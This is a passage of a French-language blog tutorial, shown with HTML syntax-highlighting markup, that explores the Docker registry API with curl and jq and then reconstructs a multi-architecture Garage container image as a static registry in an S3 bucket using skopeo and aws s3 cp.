        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;architecture&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;amd64&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;os&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;linux&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mediaType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/vnd.docker.distribution.manifest.v2+json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;428&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;digest&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sha256:47df19e0c6333356e503258e6301c3a91848644667a0b7de4162e6841e89769a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;platform&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;architecture&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;386&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;os&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;linux&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mediaType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/vnd.docker.distribution.manifest.v2+json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;428&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;digest&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sha256:12ec13fe92959249c52c46e97754333267ceeea22978434737978a135b7185ce&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;platform&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;architecture&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;arm&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;os&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;linux&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Duquel ensuite on peut inspecter l’image d’une plateforme précise, ici &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arm64&lt;/code&gt; :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; @headers.txt &lt;span class=&quot;s1&quot;&gt;&apos;https://registry.docker.com/v2/dxflrs/garage/manifests/sha256:236604ea7a441f907d52129d9490fe96b64ef2efd8d4b1c1c50ef8dbae361a8e&apos;&lt;/span&gt;|jq
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Duquel enfin on récupère les informations de configuration et des différents &lt;em&gt;layers&lt;/em&gt; :&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;schemaVersion&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mediaType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/vnd.docker.distribution.manifest.v2+json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;config&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mediaType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/vnd.docker.container.image.v1+json&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;459&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;digest&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sha256:258bd4fedb7a0bd5cffd4238777b293d6c5907e5eeaad0174bae3003041c309b&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;layers&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;mediaType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;application/vnd.docker.image.rootfs.diff.tar.gzip&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;size&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19845930&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;digest&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sha256:d2d5e172a714fc48876a6657e7b4b0c3baa4c1ea42e92c687bdb9d86b8dd43c4&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;En dernier lieu, on peut récupérer les différents blobs déclarés dans le manifest. Pour la configuration, on a&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; @/tmp/d.txt &lt;span class=&quot;s1&quot;&gt;&apos;https://registry.docker.com/v2/dxflrs/garage/blobs/sha256:258bd4fedb7a0bd5cffd4238777b293d6c5907e5eeaad0174bae3003041c309b&apos;&lt;/span&gt;|jq
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ce qui nous donne les informations sur l’image :&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;architecture&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;arm64&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;created&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2023-03-13T20:27:37.477146404Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;history&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;author&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;kaniko&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;created&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0001-01-01T00:00:00Z&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;created_by&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;COPY result-bin/bin/garage /&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;os&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;linux&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;rootfs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;layers&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;diff_ids&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sha256:01ff2f334b600faf0e0fc53e7fa19b4f44b1c340cd5f39ec49393b339f6e945f&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;config&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/garage&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;server&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;Env&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;RUST_BACKTRACE=1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;RUST_LOG=garage=info&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pour le layer, étant une archive tar.gzip, on passe la sortie de curl à tar :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$  curl -L -H @/tmp/d.txt &apos;https://registry.docker.com/v2/dxflrs/garage/blobs/sha256:d2d5e172a714fc48876a6657e7b4b0c3baa4c1ea42e92c687bdb9d86b8dd43c4&apos;|tar -ztvf -
tar: Suppression de « / » au début des noms des membres
drwxr-xr-x 0/0               0 2023-03-13 21:27 /
-r-xr-xr-x 0/0        50846992 2023-03-13 21:27 garage
100 18.9M  100 18.9M    0     0  15.5M      0  0:00:01  0:00:01 --:--:-- 33.1M
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et nous voilà arriver au bout de notre exploration de l’API distribution de la Open Container Initiative définie par Docker à l’origine. Par la suite, on va pas s’amuser à récupérer tout ces fichiers à la main, mais demander à skopeo de le faire pour nous. Mais avant tout il faut…&lt;/p&gt;

&lt;h2 id=&quot;déclarer-un-bucket-comme-registre&quot;&gt;Déclarer un bucket comme registre&lt;/h2&gt;

&lt;p&gt;Rien de particulier ici, on va supposer que vous avez un bucket Garage déjà exposé comme site web. Dans ce billet, je vais utiliser directement le bucket de mon site web comme registre docker. Pour que ce dernier soit reconnu comme registre, il est de bon ton de renvoyer un petit OK sur le chemin &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/v2/&lt;/code&gt; :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;ok &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /tmp/v2
aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; /tmp/v2 s3://quentin.dufour.io/v2/index.html
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;récupérer-une-image-depuis-le-docker-hub&quot;&gt;Récupérer une image depuis le Docker Hub&lt;/h2&gt;

&lt;p&gt;On va récupérer une image multi-arch de Garage depuis le Docker Hub pour se simplifier la vie dans un premier temps. Mais à la fin, on va build à la main notre image multi-arch depuis Nix, et sans jamais utiliser un daemon docker. Pratique !&lt;/p&gt;

&lt;p&gt;Donc pour récupérer notre image multiarch, on va utiliser &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skopeo&lt;/code&gt; :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; /tmp/garage-img-multi
skopeo &lt;span class=&quot;nt&quot;&gt;--insecure-policy&lt;/span&gt; copy &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--all&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--format&lt;/span&gt; v2s2 &lt;span class=&quot;nt&quot;&gt;--dest-compress&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  docker://docker.io/dxflrs/garage:v0.8.2 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;dir&lt;/span&gt;:/tmp/garage-img-multi
  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voilà, vous avez votre image dans &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/garage-img-multi&lt;/code&gt;. Si vous avez bien suivi le tutoriel, ce sont les mêmes fichiers que vu lors de notre inspection du registre Docker avec curl.&lt;/p&gt;

&lt;h2 id=&quot;copier-limage-sur-s3&quot;&gt;Copier l’image sur S3&lt;/h2&gt;

&lt;p&gt;Maintenant on va reconstituer cette image dans notre registre à la main. On copie d’abord le manifest multi-arch :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp/garae-img-multi
aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--content-type&lt;/span&gt; application/vnd.docker.distribution.manifest.list.v2+json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  manifest.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  s3://quentin.dufour.io/v2/garage/manifests/v0.8.2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Il faut aussi que le manifest soit accessible depuis son hash sha256, pour ça il faut le calculer et ensuite l’envoyer de nouveau :&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sha256 manifest.json
SHA256 (manifest.json) = 91af689013dd80d2ef0f4ff75038bc738b3193a11e201530d6da0fa833f55cbb
$ aws s3 cp --content-type application/vnd.docker.distribution.manifest.list.v2+json \
  manifest.json \
  s3://quentin.dufour.io/v2/garage/manifests/sha256:91af689013dd80d2ef0f4ff75038bc738b3193a11e201530d6da0fa833f55cbb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite on copie les manifestes des images des différentes architectures (ici &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linux/arm&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linux/arm64&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linux/amd64, et linux/386&lt;/code&gt;) :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# manifest arm&lt;/span&gt;
aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--content-type&lt;/span&gt; application/vnd.docker.distribution.manifest.v2+json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  12ec13fe92959249c52c46e97754333267ceeea22978434737978a135b7185ce.manifest.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  s3://quentin.dufour.io/v2/garage/manifests/sha256:12ec13fe92959249c52c46e97754333267ceeea22978434737978a135b7185ce

&lt;span class=&quot;c&quot;&gt;# manifest arm64&lt;/span&gt;
aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--content-type&lt;/span&gt; application/vnd.docker.distribution.manifest.v2+json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  236604ea7a441f907d52129d9490fe96b64ef2efd8d4b1c1c50ef8dbae361a8e.manifest.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  s3://quentin.dufour.io/v2/garage/manifests/sha256:236604ea7a441f907d52129d9490fe96b64ef2efd8d4b1c1c50ef8dbae361a8e

&lt;span class=&quot;c&quot;&gt;# manifest 386&lt;/span&gt;
aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--content-type&lt;/span&gt; application/vnd.docker.distribution.manifest.v2+json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  47df19e0c6333356e503258e6301c3a91848644667a0b7de4162e6841e89769a.manifest.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  s3://quentin.dufour.io/v2/garage/manifests/sha256:47df19e0c6333356e503258e6301c3a91848644667a0b7de4162e6841e89769a

&lt;span class=&quot;c&quot;&gt;# manifest amd64&lt;/span&gt;
